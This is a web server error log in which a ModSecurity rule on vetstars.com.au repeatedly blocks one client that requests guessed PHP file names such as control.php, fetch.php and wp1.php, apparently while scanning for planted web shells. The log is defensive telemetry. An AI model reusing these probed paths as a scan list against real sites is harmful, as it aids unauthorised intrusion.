[Wed Apr 08 21:23:54.626305 2026] [:error] [pid 7189:tid 7206] [client 51.107.217.48:47183] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file31.php"] [unique_id "adZW6haBqhBSu0L37lrf0gAAAc8"]
[Wed Apr 08 21:23:55.344947 2026] [:error] [pid 7047:tid 7070] [client 51.107.217.48:20574] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file31.php"] [unique_id "adZW6-Nh3oGO3pKiCzwquAAAAZU"]
[Wed Apr 08 21:23:55.982575 2026] [:error] [pid 12453:tid 12478] [client 51.107.217.48:17048] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "adZW6xjtW7S6XsLPvrQ8IgAAAJc"]
[Wed Apr 08 21:23:56.602363 2026] [:error] [pid 12453:tid 12462] [client 51.107.217.48:23169] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "adZW7BjtW7S6XsLPvrQ8JAAAAIc"]
[Wed Apr 08 21:23:57.541962 2026] [:error] [pid 7189:tid 7195] [client 51.107.217.48:24805] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "adZW7RaBqhBSu0L37lrf4gAAAcQ"]
[Wed Apr 08 21:23:58.123401 2026] [:error] [pid 7189:tid 7204] [client 51.107.217.48:17079] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "adZW7haBqhBSu0L37lrf5AAAAc0"]
[Wed Apr 08 21:23:58.820470 2026] [:error] [pid 35642:tid 35664] [client 51.107.217.48:61472] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/control.php"] [unique_id "adZW7g-CqryxdEs5DN9gZQAAAFQ"]
[Wed Apr 08 21:23:59.757588 2026] [:error] [pid 7189:tid 7194] [client 51.107.217.48:17039] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/control.php"] [unique_id "adZW7xaBqhBSu0L37lrf8AAAAcM"]
[Wed Apr 08 21:24:00.359253 2026] [:error] [pid 7189:tid 7197] [client 51.107.217.48:47201] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/control.php"] [unique_id "adZW8BaBqhBSu0L37lrf9wAAAcY"]
[Wed Apr 08 21:24:01.076769 2026] [:error] [pid 7189:tid 7215] [client 51.107.217.48:16837] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/control.php"] [unique_id "adZW8RaBqhBSu0L37lrf_gAAAdg"]
[Wed Apr 08 21:24:01.754512 2026] [:error] [pid 7047:tid 7061] [client 51.107.217.48:17056] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "adZW8eNh3oGO3pKiCzwqxwAAAYw"]
[Wed Apr 08 21:24:02.672578 2026] [:error] [pid 7047:tid 7071] [client 51.107.217.48:47390] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "adZW8uNh3oGO3pKiCzwqzAAAAZY"]
[Wed Apr 08 21:24:03.374667 2026] [:error] [pid 7047:tid 7049] [client 51.107.217.48:47369] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "adZW8-Nh3oGO3pKiCzwq0AAAAYA"]
[Wed Apr 08 21:24:04.386856 2026] [:error] [pid 7047:tid 7050] [client 51.107.217.48:61450] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "adZW9ONh3oGO3pKiCzwq1wAAAYE"]
[Wed Apr 08 21:24:04.972603 2026] [:error] [pid 7189:tid 7214] [client 51.107.217.48:20604] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "adZW9BaBqhBSu0L37lrgFgAAAdc"]
[Wed Apr 08 21:24:05.805039 2026] [:error] [pid 12385:tid 12398] [client 51.107.217.48:47217] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "adZW9SAjtvRQEkLosq2iZgAAAAk"]
[Wed Apr 08 21:24:06.653629 2026] [:error] [pid 12453:tid 12457] [client 51.107.217.48:23209] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "adZW9hjtW7S6XsLPvrQ8KAAAAII"]
[Wed Apr 08 21:24:07.736518 2026] [:error] [pid 12490:tid 12496] [client 51.107.217.48:20473] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "adZW921Fea4F4fbumr0IbwAAAMQ"]
[Wed Apr 08 21:24:08.586689 2026] [:error] [pid 7047:tid 7060] [client 51.107.217.48:17027] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "adZW-ONh3oGO3pKiCzwq4wAAAYs"]
[Wed Apr 08 21:24:09.507192 2026] [:error] [pid 7047:tid 7051] [client 51.107.217.48:17080] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "adZW-eNh3oGO3pKiCzwq6QAAAYI"]
[Wed Apr 08 21:24:10.461674 2026] [:error] [pid 12385:tid 12410] [client 51.107.217.48:61454] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "adZW-iAjtvRQEkLosq2iagAAABU"]
[Wed Apr 08 21:24:11.948179 2026] [:error] [pid 12386:tid 12426] [client 51.107.217.48:23197] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "adZW-xLhhLtqHi2gK7Ud5QAAAQo"]
[Wed Apr 08 21:24:12.871480 2026] [:error] [pid 12490:tid 12502] [client 51.107.217.48:24831] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adZW_G1Fea4F4fbumr0IcwAAAMo"]
[Wed Apr 08 21:24:13.634171 2026] [:error] [pid 7189:tid 7209] [client 51.107.217.48:61494] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adZW_RaBqhBSu0L37lrgNwAAAdI"]
[Wed Apr 08 21:24:14.365815 2026] [:error] [pid 7047:tid 7056] [client 51.107.217.48:47210] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adZW_uNh3oGO3pKiCzwq-QAAAYc"]
[Wed Apr 08 21:24:15.081712 2026] [:error] [pid 7047:tid 7073] [client 51.107.217.48:61479] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adZW_-Nh3oGO3pKiCzwq_QAAAZg"]
[Wed Apr 08 21:24:15.668421 2026] [:error] [pid 7189:tid 7199] [client 51.107.217.48:61467] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "adZW_xaBqhBSu0L37lrgRgAAAcg"]
[Wed Apr 08 21:24:16.354053 2026] [:error] [pid 7047:tid 7066] [client 51.107.217.48:17041] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "adZXAONh3oGO3pKiCzwrAgAAAZE"]
[Wed Apr 08 21:24:16.996558 2026] [:error] [pid 12453:tid 12473] [client 51.107.217.48:20598] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "adZXABjtW7S6XsLPvrQ8NgAAAJI"]
[Wed Apr 08 21:24:17.651342 2026] [:error] [pid 12453:tid 12459] [client 51.107.217.48:61460] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "adZXARjtW7S6XsLPvrQ8OgAAAIQ"]
[Wed Apr 08 21:24:18.417512 2026] [:error] [pid 7047:tid 7065] [client 51.107.217.48:20239] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "adZXAuNh3oGO3pKiCzwrDAAAAZA"]
[Wed Apr 08 21:24:19.334756 2026] [:error] [pid 12386:tid 12434] [client 51.107.217.48:23231] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "adZXAxLhhLtqHi2gK7Ud6AAAARI"]
[Wed Apr 08 21:24:20.254227 2026] [:error] [pid 7047:tid 7055] [client 51.107.217.48:61455] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "adZXBONh3oGO3pKiCzwrFAAAAYY"]
[Wed Apr 08 21:24:20.801803 2026] [:error] [pid 7047:tid 7052] [client 51.107.217.48:61471] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "adZXBONh3oGO3pKiCzwrGAAAAYM"]
[Wed Apr 08 21:24:23.036364 2026] [:error] [pid 64066:tid 64080] [client 51.107.217.48:20600] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "adZXB1R3WucJgr2vZGZGbAAAAUs"]
[Wed Apr 08 21:24:23.697564 2026] [:error] [pid 12385:tid 12407] [client 51.107.217.48:61514] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "adZXByAjtvRQEkLosq2idwAAABI"]
[Wed Apr 08 21:24:24.550309 2026] [:error] [pid 12453:tid 12470] [client 51.107.217.48:47403] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "adZXCBjtW7S6XsLPvrQ8RwAAAI8"]
[Wed Apr 08 21:24:25.723469 2026] [:error] [pid 12490:tid 12498] [client 51.107.217.48:23170] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "adZXCW1Fea4F4fbumr0IgAAAAMY"]
[Wed Apr 08 21:24:26.571548 2026] [:error] [pid 12453:tid 12462] [client 51.107.217.48:23187] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "adZXChjtW7S6XsLPvrQ8SwAAAIc"]
[Wed Apr 08 21:24:27.350867 2026] [:error] [pid 12453:tid 12469] [client 51.107.217.48:16844] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "adZXCxjtW7S6XsLPvrQ8TgAAAI4"]
[Wed Apr 08 21:24:28.059662 2026] [:error] [pid 12453:tid 12477] [client 51.107.217.48:47377] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "adZXDBjtW7S6XsLPvrQ8UgAAAJY"]
[Wed Apr 08 21:24:28.746392 2026] [:error] [pid 7047:tid 7062] [client 51.107.217.48:47373] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "adZXDONh3oGO3pKiCzwrHwAAAY0"]
[Wed Apr 08 21:24:29.433207 2026] [:error] [pid 7047:tid 7054] [client 51.107.217.48:43200] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "adZXDeNh3oGO3pKiCzwrIgAAAYU"]
[Wed Apr 08 21:24:30.876897 2026] [:error] [pid 7047:tid 7050] [client 51.107.217.48:47385] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "adZXDuNh3oGO3pKiCzwrKQAAAYE"]
[Wed Apr 08 21:24:31.593655 2026] [:error] [pid 12490:tid 12506] [client 51.107.217.48:20545] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "adZXD21Fea4F4fbumr0IjQAAAM4"]
[Wed Apr 08 21:24:32.529441 2026] [:error] [pid 7047:tid 7064] [client 51.107.217.48:61489] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fine.php"] [unique_id "adZXEONh3oGO3pKiCzwrMQAAAY8"]
[Wed Apr 08 21:24:33.163854 2026] [:error] [pid 7047:tid 7054] [client 51.107.217.48:61475] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zample.php"] [unique_id "adZXEeNh3oGO3pKiCzwrNAAAAYU"]
[Wed Apr 08 21:24:34.022984 2026] [:error] [pid 7047:tid 7068] [client 51.107.217.48:16841] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zample.php"] [unique_id "adZXEuNh3oGO3pKiCzwrNwAAAZM"]
[Wed Apr 08 21:24:34.596083 2026] [:error] [pid 12453:tid 12468] [client 51.107.217.48:47172] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zample.php"] [unique_id "adZXEhjtW7S6XsLPvrQ8XgAAAI0"]
[Wed Apr 08 21:24:35.258406 2026] [:error] [pid 12453:tid 12458] [client 51.107.217.48:47374] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zample.php"] [unique_id "adZXExjtW7S6XsLPvrQ8YQAAAIM"]
[Wed Apr 08 21:24:35.940917 2026] [:error] [pid 12490:tid 12493] [client 51.107.217.48:20592] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "adZXE21Fea4F4fbumr0IkQAAAME"]
[Wed Apr 08 21:24:36.933842 2026] [:error] [pid 12490:tid 12499] [client 51.107.217.48:61478] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "adZXFG1Fea4F4fbumr0IkgAAAMc"]
[Wed Apr 08 21:24:37.544968 2026] [:error] [pid 7047:tid 7058] [client 51.107.217.48:20279] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "adZXFeNh3oGO3pKiCzwrPQAAAYk"]
[Wed Apr 08 21:24:38.696155 2026] [:error] [pid 7047:tid 7052] [client 51.107.217.48:47168] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "adZXFuNh3oGO3pKiCzwrSQAAAYM"]
[Wed Apr 08 21:24:39.618823 2026] [:error] [pid 12490:tid 12492] [client 51.107.217.48:20599] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "adZXF21Fea4F4fbumr0IlgAAAMA"]
[Wed Apr 08 21:24:41.325665 2026] [:error] [pid 12453:tid 12459] [client 51.107.217.48:20601] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "adZXGRjtW7S6XsLPvrQ8bQAAAIQ"]
[Wed Apr 08 21:24:42.595862 2026] [:error] [pid 7047:tid 7054] [client 51.107.217.48:20594] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "adZXGuNh3oGO3pKiCzwrXQAAAYU"]
